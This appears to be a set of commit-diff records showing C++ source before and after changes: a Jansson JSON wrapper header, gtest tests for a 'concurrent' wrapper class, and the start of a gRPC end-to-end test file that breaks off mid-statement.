property (converts value to object is not one already)\n\t\t\tinline _Base& set_key(const char* key, const Value& value);\n\n\t\t\tinline _Base& set_key(const std::string& key, const Value& value);\n\n\t\t\t\/\/ set an array index (converts value to object is not one already)\n\t\t\tinline _Base& set_at(unsigned int index, const Value& value);\n\n\t\t\t\/\/ delete an object key\n\t\t\tinline _Base& del_key(const char* key);\n\n\t\t\tinline _Base& del_key(const std::string& key);\n\n\t\t\t\/\/ delete an item from an array by index\n\t\t\tinline _Base& del_at(unsigned int index);\n\n\t\t\t\/\/ insert an item into an array at a given index\n\t\t\tinline _Base& insert_at(unsigned int index, const Value& value);\n\n\t\t\t\/\/ write the value to a file\n\t\t\tinline int save_file(const char* path, int flags = 0) const;\n\n\t\t\t\/\/ write the value to a string (caller must deallocate with free()!)\n\t\t\tinline char* save_string(int flags = 0) const;\n\t\t};\n\n\t\t\/\/ represents any JSON value, private base\n\t\tclass Basic {\n\t\tpublic:\n\t\t\t\/\/ construct new Value with an undefined value\n\t\t\tBasic() : _value(0) {}\n\n\t\t\t\/\/ copy constructor\n\t\t\tBasic(const Basic& value) : _value(json_incref(value._value)) {}\n\n\t\t\t\/\/ make a reference to an existing json_t value\n\t\t\texplicit Basic(json_t* value) : _value(json_incref(value)) {}\n\n\t\t\t\/\/ free Value resources\n\t\t\tinline ~Basic();\n\n\t\t\t\/\/ copy an existing Value\n\t\t\tinline Basic& operator=(const Basic& e);\n\n\t\t\t\/\/ get the underlying json_t\n\t\t\tinline json_t* as_json() const;\n\n\t\t\t\/\/ take ownership of a json_t (does not increase reference count)\n\t\t\tinline static Basic take_ownership(json_t* json);\n\n\t\tprotected:\n\t\t\t\/\/ internal value pointer\n\t\t\tjson_t* _value;\n\t\t};\n\n\t\t\/\/ proxies an array element\n\t\tclass ElementProxy {\n\t\tpublic:\n\t\t\t\/\/ constructor\n\t\t\tElementProxy(json_t* array, unsigned int index) : _array(array), _index(index) {}\n\n\t\t\t\/\/ assign to the proxied element\n\t\t\tinline ElementProxy& operator=(const Value& value);\n\n\t\t\t\/\/ get the proxied element\n\t\t\tinline json_t* as_json() const;\n\n\t\tprivate:\n\t\t\t\/\/ array object we wrap\n\t\t\tjson_t* _array;\n\n\t\t\t\/\/ index of property\n\t\t\tunsigned int _index;\n\t\t};\n\n\t\t\/\/ proxies an object property\n\t\tclass PropertyProxy {\n\t\tpublic:\n\t\t\t\/\/ constructor\n\t\t\tPropertyProxy(json_t* array, const char* key) : _object(array), _key(key) {}\n\n\t\t\t\/\/ assign to the proxied element\n\t\t\tinline PropertyProxy& operator=(const Value& value);\n\n\t\t\t\/\/ get the proxied element\n\t\t\tinline json_t* as_json() const;\n\n\t\tprivate:\n\t\t\t\/\/ array object we wrap\n\t\t\tjson_t* _object;\n\n\t\t\t\/\/ key of property\n\t\t\tconst char* _key;\n\t\t};\n\n\t} \/\/ namespace json::_private\n\n\t\/\/ represents any JSON value\n\tclass Value : public _private::ValueBase<_private::Basic> {\n\tpublic:\n\t\t\/\/ construct Value from input\n\t\texplicit inline Value(const char* value);\n\t\texplicit inline Value(const std::string& value);\n\t\texplicit inline Value(bool value);\n\t\texplicit inline Value(signed int value);\n\t\texplicit inline Value(unsigned int value);\n\t\texplicit inline Value(signed short value);\n\t\texplicit inline Value(unsigned short value);\n\t\texplicit inline Value(signed long value);\n\t\texplicit inline Value(unsigned long value);\n\t\texplicit inline Value(float value);\n\t\texplicit inline Value(double value);\n\n\t\t\/\/ empty constructor\n\t\tValue() : _private::ValueBase<_private::Basic>() {}\n\n\t\t\/\/ copy constructor for base\n\t\tValue(const _private::Basic& value) : _private::ValueBase<_private::Basic>(value) {}\n\t\n\t\t\/\/ copy constructor for base\n\t\tValue(const _private::ValueBase<_private::Basic>& value) : _private::ValueBase<_private::Basic>(value) {}\n\n\t\t\/\/ copy constructor\n\t\tValue(const Value& value) : _private::ValueBase<_private::Basic>(value) {}\n\n\t\t\/\/ create reference to value\n\t\texplicit Value(json_t* json) : _private::ValueBase<_private::Basic>(json) {}\n\t};\n\n\t\/\/ iterators over a JSON object\n\tclass Iterator {\n\tpublic:\n\t\t\/\/ construct a new iterator for a given object\n\t\tinline Iterator(const Value& value);\n\n\t\t\/\/ construct a new iterator for a given object\n\t\tinline Iterator(const _private::ValueBase<_private::PropertyProxy>& value);\n\n\t\t\/\/ increment iterator\n\t\tinline void next();\n\n\t\tinline Iterator& operator++();\n\n\t\t\/\/ test if iterator is still valid\n\t\tinline bool valid() const;\n\n\t\tinline operator bool() const;\n\n\t\t\/\/ get key\n\t\tinline const char* ckey() const;\n\n\t\tinline std::string key() const;\n\n\t\t\/\/ get value\n\t\tinline const Value value() const;\n\n\t\t\/\/ dereference value\n\t\tinline const Value operator*() const;\n\n\tprivate:\n\t\t\/\/ disallow copying\n\t\tIterator(const Iterator&);\n\t\tIterator& operator=(const Iterator&);\n\n\t\t\/\/ object being iterated over\n\t\tValue _object;\n\n\t\t\/\/ iterator value\n\t\tvoid* _iter;\n\t};\n\n\t\/\/ create a new empty object\n\tinline Value object();\n\n\t\/\/ create a new empty array\n\tinline Value array();\n\n\t\/\/ create a new null value\n\tinline Value null();\n\n\t\/\/ load a file as a JSON value\n\tinline Value load_file(const char* path, json_error_t* error = 0);\n\n\t\/\/ load a string as a JSON value\n\tinline Value load_string(const char* string, json_error_t* error = 0);\n\n} \/\/ namespace json \n\n\/\/ stream JSON value out -- inefficient and not recommended for production use\ninline std::ostream& operator<<(std::ostream& os, const json::Value& value);\n\n\/\/ read JSON value -- inefficient and not recommended for production use\ninline std::istream& operator>>(std::istream& is, json::Value& value);\n\n\/\/ include implementation code\n#define IN_JANSSON_HPP 1\n#include \"jansson-impl.hpp\"\n#undef IN_JANSSON_HPP\n\n#endif \/\/ defined(JANSSON_HPP)\n<commit_msg>add meaningful copyright to jansson.hpp<commit_after>\/\/ Copyright (c) 2010 Sean Middleditch <sean@middleditch.us>\n\/\/\n\/\/ Jansson is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the MIT license. See LICENSE for details.\n\n#if !defined(JANSSON_HPP)\n#define JANSSON_HPP 1\n\n#include <string>\n#include <ostream>\n#include <istream>\n#include <sstream>\n#include <cstdlib>\n\nnamespace json {\n\t\/\/ include Jansson C library into the json namespace\n\t#include <jansson.h>\n\n\tclass Iterator;\n\tclass Value;\n\n\t\/\/ implementation details; do not use directly\n\tnamespace _private {\n\t\tclass ElementProxy;\n\t\tclass PropertyProxy;\n\n\t\t\/\/ base class for JSON value interface\n\t\ttemplate <typename _Base>\n\t\tclass ValueBase : public _Base {\n\t\tpublic:\n\t\t\t\/\/ empty constructor\n\t\t\tValueBase() : _Base() {}\n\n\t\t\t\/\/ copy constructor\n\t\t\tValueBase(const _Base& base) : _Base(base) {}\n\n\t\t\t\/\/ create reference to value\n\t\t\tValueBase(json_t* json) : _Base(json) {}\n\n\t\t\t\/\/ assignment operator\n\t\t\tinline ValueBase& operator=(const Value& value);\n\n\t\t\t\/\/ check value type\n\t\t\tinline bool is_undefined() const;\n\t\t\tinline bool is_object() const;\n\t\t\tinline bool is_array() const;\n\t\t\tinline bool is_string() const;\n\t\t\tinline bool is_integer() const;\n\t\t\tinline bool is_real() const;\n\t\t\tinline bool is_number() const;\n\t\t\tinline bool is_true() const;\n\t\t\tinline bool is_false() const;\n\t\t\tinline bool is_boolean() const;\n\t\t\tinline bool is_null() const;\n\n\t\t\t\/\/ get size of array or object\n\t\t\tinline unsigned int size() const;\n\n\t\t\t\/\/ get value at array index (const version)\n\t\t\tinline const Value at(unsigned int index) const;\n\n\t\t\tinline const Value operator[](signed int index) const;\n\t\t\tinline const Value operator[](unsigned int index) const;\n\t\t\tinline const Value operator[](signed short index) const;\n\t\t\tinline const Value operator[](unsigned short index) const;\n\t\t\tinline const Value operator[](signed long index) const;\n\t\t\tinline const Value operator[](unsigned long index) const;\n\n\t\t\t\/\/ get value at array index (non-const version)\n\t\t\tinline ValueBase<ElementProxy> at(unsigned int index);\n\n\t\t\tinline ValueBase<ElementProxy> operator[](signed int index);\n\t\t\tinline ValueBase<ElementProxy> operator[](unsigned int index);\n\t\t\tinline ValueBase<ElementProxy> operator[](signed short index);\n\t\t\tinline ValueBase<ElementProxy> operator[](unsigned short index);\n\t\t\tinline ValueBase<ElementProxy> operator[](signed long index);\n\t\t\tinline ValueBase<ElementProxy> operator[](unsigned long index);\n\n\t\t\t\/\/ get object property (const version)\n\t\t\tinline const Value get(const char* key) const;\n\n\t\t\tinline const Value get(const std::string& key) const;\n\t\t\tinline const Value operator[](const char* key) const;\n\t\t\tinline const Value operator[](const std::string& key) const;\n\n\t\t\t\/\/ get object property (non-const version)\n\t\t\tinline ValueBase<PropertyProxy> get(const char* key);\n\n\t\t\tinline ValueBase<PropertyProxy> get(const std::string& key);\n\t\t\tinline ValueBase<PropertyProxy> operator[](const char* key);\n\t\t\tinline ValueBase<PropertyProxy> operator[](const std::string& key);\n\n\t\t\t\/\/ clear all array\/object values\n\t\t\tinline void clear();\n\n\t\t\t\/\/ get value cast to specified type\n\t\t\tinline const char* as_cstring() const;\n\t\t\tinline std::string as_string() const;\n\t\t\tinline int as_integer() const;\n\t\t\tinline double as_real() const;\n\t\t\tinline double as_number() const;\n\t\t\tinline bool as_boolean() const;\n\n\t\t\t\/\/ set an object property (converts value to object is not one already)\n\t\t\tinline _Base& set_key(const char* key, const Value& value);\n\n\t\t\tinline _Base& set_key(const std::string& key, const Value& value);\n\n\t\t\t\/\/ set an array index (converts value to object is not one already)\n\t\t\tinline _Base& set_at(unsigned int index, const Value& value);\n\n\t\t\t\/\/ delete an object key\n\t\t\tinline _Base& del_key(const char* key);\n\n\t\t\tinline _Base& del_key(const std::string& key);\n\n\t\t\t\/\/ delete an item from an array by index\n\t\t\tinline _Base& del_at(unsigned int index);\n\n\t\t\t\/\/ insert an item into an array at a given index\n\t\t\tinline _Base& insert_at(unsigned int index, const Value& value);\n\n\t\t\t\/\/ write the value to a file\n\t\t\tinline int save_file(const char* path, int flags = 0) const;\n\n\t\t\t\/\/ write the value to a string (caller must deallocate with free()!)\n\t\t\tinline char* save_string(int flags = 0) const;\n\t\t};\n\n\t\t\/\/ represents any JSON value, private base\n\t\tclass Basic {\n\t\tpublic:\n\t\t\t\/\/ construct new Value with an undefined value\n\t\t\tBasic() : _value(0) {}\n\n\t\t\t\/\/ copy constructor\n\t\t\tBasic(const Basic& value) : _value(json_incref(value._value)) {}\n\n\t\t\t\/\/ make a reference to an existing json_t value\n\t\t\texplicit Basic(json_t* value) : _value(json_incref(value)) {}\n\n\t\t\t\/\/ free Value resources\n\t\t\tinline ~Basic();\n\n\t\t\t\/\/ copy an existing Value\n\t\t\tinline Basic& operator=(const Basic& e);\n\n\t\t\t\/\/ get the underlying json_t\n\t\t\tinline json_t* as_json() const;\n\n\t\t\t\/\/ take ownership of a json_t (does not increase reference count)\n\t\t\tinline static Basic take_ownership(json_t* json);\n\n\t\tprotected:\n\t\t\t\/\/ internal value pointer\n\t\t\tjson_t* _value;\n\t\t};\n\n\t\t\/\/ proxies an array element\n\t\tclass ElementProxy {\n\t\tpublic:\n\t\t\t\/\/ constructor\n\t\t\tElementProxy(json_t* array, unsigned int index) : _array(array), _index(index) {}\n\n\t\t\t\/\/ assign to the proxied element\n\t\t\tinline ElementProxy& operator=(const Value& value);\n\n\t\t\t\/\/ get the proxied element\n\t\t\tinline json_t* as_json() const;\n\n\t\tprivate:\n\t\t\t\/\/ array object we wrap\n\t\t\tjson_t* _array;\n\n\t\t\t\/\/ index of property\n\t\t\tunsigned int _index;\n\t\t};\n\n\t\t\/\/ proxies an object property\n\t\tclass PropertyProxy {\n\t\tpublic:\n\t\t\t\/\/ constructor\n\t\t\tPropertyProxy(json_t* array, const char* key) : _object(array), _key(key) {}\n\n\t\t\t\/\/ assign to the proxied element\n\t\t\tinline PropertyProxy& operator=(const Value& value);\n\n\t\t\t\/\/ get the proxied element\n\t\t\tinline json_t* as_json() const;\n\n\t\tprivate:\n\t\t\t\/\/ array object we wrap\n\t\t\tjson_t* _object;\n\n\t\t\t\/\/ key of property\n\t\t\tconst char* _key;\n\t\t};\n\n\t} \/\/ namespace json::_private\n\n\t\/\/ represents any JSON value\n\tclass Value : public _private::ValueBase<_private::Basic> {\n\tpublic:\n\t\t\/\/ construct Value from input\n\t\texplicit inline Value(const char* value);\n\t\texplicit inline Value(const std::string& value);\n\t\texplicit inline Value(bool value);\n\t\texplicit inline Value(signed int value);\n\t\texplicit inline Value(unsigned int value);\n\t\texplicit inline Value(signed short value);\n\t\texplicit inline Value(unsigned short value);\n\t\texplicit inline Value(signed long value);\n\t\texplicit inline Value(unsigned long value);\n\t\texplicit inline Value(float value);\n\t\texplicit inline Value(double value);\n\n\t\t\/\/ empty constructor\n\t\tValue() : _private::ValueBase<_private::Basic>() {}\n\n\t\t\/\/ copy constructor for base\n\t\tValue(const _private::Basic& value) : _private::ValueBase<_private::Basic>(value) {}\n\t\n\t\t\/\/ copy constructor for base\n\t\tValue(const _private::ValueBase<_private::Basic>& value) : _private::ValueBase<_private::Basic>(value) {}\n\n\t\t\/\/ copy constructor\n\t\tValue(const Value& value) : _private::ValueBase<_private::Basic>(value) {}\n\n\t\t\/\/ create reference to value\n\t\texplicit Value(json_t* json) : _private::ValueBase<_private::Basic>(json) {}\n\t};\n\n\t\/\/ iterators over a JSON object\n\tclass Iterator {\n\tpublic:\n\t\t\/\/ construct a new iterator for a given object\n\t\tinline Iterator(const Value& value);\n\n\t\t\/\/ construct a new iterator for a given object\n\t\tinline Iterator(const _private::ValueBase<_private::PropertyProxy>& value);\n\n\t\t\/\/ increment iterator\n\t\tinline void next();\n\n\t\tinline Iterator& operator++();\n\n\t\t\/\/ test if iterator is still valid\n\t\tinline bool valid() const;\n\n\t\tinline operator bool() const;\n\n\t\t\/\/ get key\n\t\tinline const char* ckey() const;\n\n\t\tinline std::string key() const;\n\n\t\t\/\/ get value\n\t\tinline const Value value() const;\n\n\t\t\/\/ dereference value\n\t\tinline const Value operator*() const;\n\n\tprivate:\n\t\t\/\/ disallow copying\n\t\tIterator(const Iterator&);\n\t\tIterator& operator=(const Iterator&);\n\n\t\t\/\/ object being iterated over\n\t\tValue _object;\n\n\t\t\/\/ iterator value\n\t\tvoid* _iter;\n\t};\n\n\t\/\/ create a new empty object\n\tinline Value object();\n\n\t\/\/ create a new empty array\n\tinline Value array();\n\n\t\/\/ create a new null value\n\tinline Value null();\n\n\t\/\/ load a file as a JSON value\n\tinline Value load_file(const char* path, json_error_t* error = 0);\n\n\t\/\/ load a string as a JSON value\n\tinline Value load_string(const char* string, json_error_t* error = 0);\n\n} \/\/ namespace json \n\n\/\/ stream JSON value out -- inefficient and not recommended for production use\ninline std::ostream& operator<<(std::ostream& os, const json::Value& value);\n\n\/\/ read JSON value -- inefficient and not recommended for production use\ninline std::istream& operator>>(std::istream& is, json::Value& value);\n\n\/\/ include implementation code\n#define IN_JANSSON_HPP 1\n#include \"jansson-impl.hpp\"\n#undef IN_JANSSON_HPP\n\n#endif \/\/ defined(JANSSON_HPP)\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n#include <string>\n#include \"concurrent.hpp\"\n#include <vector>\n#include <atomic>\n#include <iostream>\n#include <memory>\n#include <chrono>\n#include <iostream>\nnamespace {\n   struct DummyObject { };\n\n   \/\/ Verify clean destruction\n   struct TrueAtExit {\n      std::atomic<bool>* flag;\n      explicit TrueAtExit(std::atomic<bool>* f) : flag(f) {\n         flag->store(false);\n      }\n\n      bool value() { return *flag; }\n\n      ~TrueAtExit() { flag->store(true); }\n\n      \/\/ concurrent improvement from the original Herb Sutter example\n      \/\/ Which would copy\/move the object into the concurrent wrapper\n      \/\/ i.e the original concurrent wrapper could not use an object such as this (or a unique_ptr for that matter)\n      TrueAtExit(const TrueAtExit&) = delete;\n      TrueAtExit& operator=(const TrueAtExit&) = delete;\n   };\n\n\n   \/\/ Verify concurrent runs,. \"no\" delay for the caller. \n   struct DelayedCaller {\n      void DoDelayedCall() {\n         std::this_thread::sleep_for(std::chrono::seconds(1));\n      }\n   };\n}\n\n   \nTEST(TestOfconcurrent, CompilerCheckForEmptyStruct) {\n   concurrent<DummyObject> doNothing1{};\n   concurrent<DummyObject> doNothing2;\n   concurrent<DummyObject> doNothing3 = {};\n}\n\n\n\nnamespace {\n   struct Animal {\n      virtual void sound() = 0;\n   };\n   struct Dog : public Animal {\n      void sound() override { std::cout << \"Wof Wof\" << std::endl; }\n   };\n   \n   struct Cat : public Animal {\n     void sound() override { std::cout << \"Miauu Miauu\" << std::endl; }\n   };\n}\n\nTEST(TestOfConcurrent, CompilerCheckUniquePtrTest) {\n   typedef std::unique_ptr<Animal> RaiiAnimal;\n   concurrent<RaiiAnimal> animal1 {new Dog};\n   concurrent<RaiiAnimal> animal2 {new Cat};\n   \n   auto make_sound = []( RaiiAnimal& animal ) { animal->sound(); };\n   animal1(make_sound);   \n   animal2(make_sound);   \n}\n\n\nTEST(TestOfconcurrent, VerifyDestruction) {\n   std::atomic<bool> flag{true};\n   {\n      concurrent<TrueAtExit> notifyAtExit1{&flag};\n      EXPECT_FALSE(flag); \/\/ i.e. constructor has run\n   }\n   {\n      EXPECT_TRUE(flag); \/\/ notifyAtExit destructor\n      concurrent<TrueAtExit> notifyAtExit2 = {&flag};\n      EXPECT_FALSE(flag);\n   }\n   EXPECT_TRUE(flag); \/\/ notifyAtExit destructor\n}\n\nTEST(TestOfconcurrent, VerifyFifoCalls) {\n\n   concurrent<std::string> asyncString = {\"start\"};\n   auto received = asyncString([](std::string & s) { s.append(\" received message\"); return std::string{s}; });\n      \n   auto clear = asyncString([](std::string & s) { s.clear(); return s; });\n      \n   EXPECT_EQ(\"start received message\", received.get());\n   EXPECT_EQ(\"\", clear.get());\n\n   std::string toCompare;\n   for (size_t index = 0; index < 100000; ++index) {\n      toCompare.append(std::to_string(index)).append(\" \");\n      asyncString([ = ](std::string & s){s.append(std::to_string(index)).append(\" \");});\n   }\n   \n   auto appended = asyncString([](const std::string & s) { return s; });\n   EXPECT_EQ(appended.get(), toCompare);\n}\n\nTEST(TestOfconcurrent, VerifyImmediateReturnForSlowFunctionCalls) {\n\n   typedef std::chrono::steady_clock clock;\n   auto start = clock::now();\n   {\n      concurrent<DelayedCaller> snail;\n      for (size_t call = 0; call < 10; ++call) {\n         snail([](DelayedCaller & slowRunner) { slowRunner.DoDelayedCall(); });\n      }\n      EXPECT_LT(std::chrono::duration_cast<std::chrono::seconds>(clock::now() - start).count(), 1);\n   } \/\/ at destruction all 1 second calls will be executed before we quit\n   \n   EXPECT_TRUE(std::chrono::duration_cast<std::chrono::seconds>(clock::now() - start).count() >= 10); \/\/ \n}\n\n\n\n\n\n<commit_msg>cosmetic<commit_after>#include <gtest\/gtest.h>\n#include <string>\n#include \"concurrent.hpp\"\n#include <vector>\n#include <atomic>\n#include <iostream>\n#include <memory>\n#include <chrono>\n#include <iostream>\nnamespace {\n   struct DummyObject { };\n\n   \/\/ Verify clean destruction\n   struct TrueAtExit {\n      std::atomic<bool>* flag;\n      explicit TrueAtExit(std::atomic<bool>* f) : flag(f) {\n         flag->store(false);\n      }\n\n      bool value() { return *flag; }\n\n      ~TrueAtExit() { flag->store(true); }\n\n      \/\/ concurrent improvement from the original Herb Sutter example\n      \/\/ Which would copy\/move the object into the concurrent wrapper\n      \/\/ i.e the original concurrent wrapper could not use an object such as this (or a unique_ptr for that matter)\n      TrueAtExit(const TrueAtExit&) = delete;\n      TrueAtExit& operator=(const TrueAtExit&) = delete;\n   };\n\n\n   \/\/ Verify concurrent runs,. \"no\" delay for the caller. \n   struct DelayedCaller {\n      void DoDelayedCall() {\n         std::this_thread::sleep_for(std::chrono::seconds(1));\n      }\n   };\n}\n\n   \nTEST(TestOfConcurrent, CompilerCheckForEmptyStruct) {\n   concurrent<DummyObject> doNothing1{};\n   concurrent<DummyObject> doNothing2;\n   concurrent<DummyObject> doNothing3 = {};\n}\n\n\n\nnamespace {\n   struct Animal {\n      virtual std::string sound() = 0;\n   };\n   struct Dog : public Animal {\n      std::string sound() override { return {\"Wof Wof\"}; }\n   };\n   \n   struct Cat : public Animal {\n     std::string sound() override { return {\"Miauu Miauu\"}; }\n   };\n}\n\nTEST(TestOfConcurrent, CompilerCheckUniquePtrTest) {\n   typedef std::unique_ptr<Animal> RaiiAnimal;\n   concurrent<RaiiAnimal> animal1 {new Dog};\n   concurrent<RaiiAnimal> animal2 {new Cat};\n   \n   auto make_sound = []( RaiiAnimal& animal ) { return animal->sound(); };\n   EXPECT_EQ(\"Wof Wof\", animal1(make_sound).get());   \n   EXPECT_EQ(\"Miauu Miauu\", animal2(make_sound).get());   \n}\n\n\nTEST(TestOfConcurrent, VerifyDestruction) {\n   std::atomic<bool> flag{true};\n   {\n      concurrent<TrueAtExit> notifyAtExit1{&flag};\n      EXPECT_FALSE(flag); \/\/ i.e. constructor has run\n   }\n   {\n      EXPECT_TRUE(flag); \/\/ notifyAtExit destructor\n      concurrent<TrueAtExit> notifyAtExit2 = {&flag};\n      EXPECT_FALSE(flag);\n   }\n   EXPECT_TRUE(flag); \/\/ notifyAtExit destructor\n}\n\nTEST(TestOfConcurrent, VerifyFifoCalls) {\n\n   concurrent<std::string> asyncString = {\"start\"};\n   auto received = asyncString([](std::string & s) { s.append(\" received message\"); return std::string{s}; });\n      \n   auto clear = asyncString([](std::string & s) { s.clear(); return s; });\n      \n   EXPECT_EQ(\"start received message\", received.get());\n   EXPECT_EQ(\"\", clear.get());\n\n   std::string toCompare;\n   for (size_t index = 0; index < 100000; ++index) {\n      toCompare.append(std::to_string(index)).append(\" \");\n      asyncString([ = ](std::string & s){s.append(std::to_string(index)).append(\" \");});\n   }\n   \n   auto appended = asyncString([](const std::string & s) { return s; });\n   EXPECT_EQ(appended.get(), toCompare);\n}\n\nTEST(TestOfConcurrent, VerifyImmediateReturnForSlowFunctionCalls) {\n\n   typedef std::chrono::steady_clock clock;\n   auto start = clock::now();\n   {\n      concurrent<DelayedCaller> snail;\n      for (size_t call = 0; call < 10; ++call) {\n         snail([](DelayedCaller & slowRunner) { slowRunner.DoDelayedCall(); });\n      }\n      EXPECT_LT(std::chrono::duration_cast<std::chrono::seconds>(clock::now() - start).count(), 1);\n   } \/\/ at destruction all 1 second calls will be executed before we quit\n   \n   EXPECT_TRUE(std::chrono::duration_cast<std::chrono::seconds>(clock::now() - start).count() >= 10); \/\/ \n}\n\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Copyright 2014, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <chrono>\n#include <thread>\n\n#include \"test\/core\/util\/test_config.h\"\n#include \"test\/cpp\/util\/echo_duplicate.pb.h\"\n#include \"test\/cpp\/util\/echo.pb.h\"\n#include \"src\/cpp\/util\/time.h\"\n#include <grpc++\/channel_arguments.h>\n#include <grpc++\/channel_interface.h>\n#include <grpc++\/client_context.h>\n#include <grpc++\/create_channel.h>\n#include <grpc++\/credentials.h>\n#include <grpc++\/server.h>\n#include <grpc++\/server_builder.h>\n#include <grpc++\/server_context.h>\n#include <grpc++\/status.h>\n#include <grpc++\/stream.h>\n#include \"test\/core\/util\/port.h\"\n#include <gtest\/gtest.h>\n\n#include <grpc\/grpc.h>\n#include <grpc\/support\/thd.h>\n#include <grpc\/support\/time.h>\n\nusing grpc::cpp::test::util::EchoRequest;\nusing grpc::cpp::test::util::EchoResponse;\nusing std::chrono::system_clock;\n\nnamespace grpc {\nnamespace testing {\n\nnamespace {\n\n\/\/ When echo_deadline is requested, deadline seen in the ServerContext is set in\n\/\/ the response in seconds.\nvoid MaybeEchoDeadline(ServerContext* context, const EchoRequest* request,\n                       EchoResponse* response) {\n  if (request->has_param() && request->param().echo_deadline()) {\n    gpr_timespec deadline = gpr_inf_future;\n    if (context->absolute_deadline() != system_clock::time_point::max()) {\n      Timepoint2Timespec(context->absolute_deadline(), &deadline);\n    }\n    response->mutable_param()->set_request_deadline(deadline.tv_sec);\n  }\n}\n}  \/\/ namespace\n\nclass TestServiceImpl : public ::grpc::cpp::test::util::TestService::Service {\n public:\n  Status Echo(ServerContext* context, const EchoRequest* request,\n              EchoResponse* response) override {\n    response->set_message(request->message());\n    MaybeEchoDeadline(context, request, response);\n    return Status::OK;\n  }\n\n  \/\/ Unimplemented is left unimplemented to test the returned error.\n\n  Status RequestStream(ServerContext* context,\n                       ServerReader<EchoRequest>* reader,\n                       EchoResponse* response) override {\n    EchoRequest request;\n    response->set_message(\"\");\n    while (reader->Read(&request)) {\n      response->mutable_message()->append(request.message());\n    }\n    return Status::OK;\n  }\n\n  \/\/ Return 3 messages.\n  \/\/ TODO(yangg) make it generic by adding a parameter into EchoRequest\n  Status ResponseStream(ServerContext* context, const EchoRequest* request,\n                        ServerWriter<EchoResponse>* writer) override {\n    EchoResponse response;\n    response.set_message(request->message() + \"0\");\n    writer->Write(response);\n    response.set_message(request->message() + \"1\");\n    writer->Write(response);\n    response.set_message(request->message() + \"2\");\n    writer->Write(response);\n\n    return Status::OK;\n  }\n\n  Status BidiStream(\n      ServerContext* context,\n      ServerReaderWriter<EchoResponse, EchoRequest>* stream) override {\n    EchoRequest request;\n    EchoResponse response;\n    while (stream->Read(&request)) {\n      gpr_log(GPR_INFO, \"recv msg %s\", request.message().c_str());\n      response.set_message(request.message());\n      stream->Write(response);\n    }\n    return Status::OK;\n  }\n};\n\nclass TestServiceImplDupPkg\n    : public ::grpc::cpp::test::util::duplicate::TestService::Service {\n public:\n  Status Echo(ServerContext* context, const EchoRequest* request,\n              EchoResponse* response) override {\n    response->set_message(\"no package\");\n    return Status::OK;\n  }\n};\n\nclass End2endTest : public ::testing::Test {\n protected:\n  void SetUp() override {\n    int port = grpc_pick_unused_port_or_die();\n    server_address_ << \"localhost:\" << port;\n    \/\/ Setup server\n    ServerBuilder builder;\n    builder.AddPort(server_address_.str());\n    builder.RegisterService(&service_);\n    builder.RegisterService(&dup_pkg_service_);\n    server_ = builder.BuildAndStart();\n  }\n\n  void TearDown() override { server_->Shutdown(); }\n\n  void ResetStub() {\n    std::shared_ptr<ChannelInterface> channel =\n        CreateChannel(server_address_.str(), ChannelArguments());\n    stub_.reset(grpc::cpp::test::util::TestService::NewStub(channel));\n  }\n\n  std::unique_ptr<grpc::cpp::test::util::TestService::Stub> stub_;\n  std::unique_ptr<Server> server_;\n  std::ostringstream server_address_;\n  TestServiceImpl service_;\n  TestServiceImplDupPkg dup_pkg_service_;\n};\n\nstatic void SendRpc(grpc::cpp::test::util::TestService::Stub* stub,\n                    int num_rpcs) {\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  for (int i = 0; i < num_rpcs; ++i) {\n    ClientContext context;\n    Status s = stub->Echo(&context, request, &response);\n    EXPECT_EQ(response.message(), request.message());\n    EXPECT_TRUE(s.IsOk());\n  }\n}\n\nTEST_F(End2endTest, SimpleRpc) {\n  ResetStub();\n  SendRpc(stub_.get(), 1);\n}\n\nTEST_F(End2endTest, MultipleRpcs) {\n  ResetStub();\n  std::vector<std::thread*> threads;\n  for (int i = 0; i < 10; ++i) {\n    threads.push_back(new std::thread(SendRpc, stub_.get(), 10));\n  }\n  for (int i = 0; i < 10; ++i) {\n    threads[i]->join();\n    delete threads[i];\n  }\n}\n\n\/\/ Set a 10us deadline and make sure proper error is returned.\nTEST_F(End2endTest, RpcDeadlineExpires) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  ClientContext context;\n  std::chrono::system_clock::time_point deadline =\n      std::chrono::system_clock::now() + std::chrono::microseconds(10);\n  context.set_absolute_deadline(deadline);\n  Status s = stub_->Echo(&context, request, &response);\n  EXPECT_EQ(StatusCode::DEADLINE_EXCEEDED, s.code());\n}\n\n\/\/ Set a long but finite deadline.\nTEST_F(End2endTest, RpcLongDeadline) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  ClientContext context;\n  std::chrono::system_clock::time_point deadline =\n      std::chrono::system_clock::now() + std::chrono::hours(1);\n  context.set_absolute_deadline(deadline);\n  Status s = 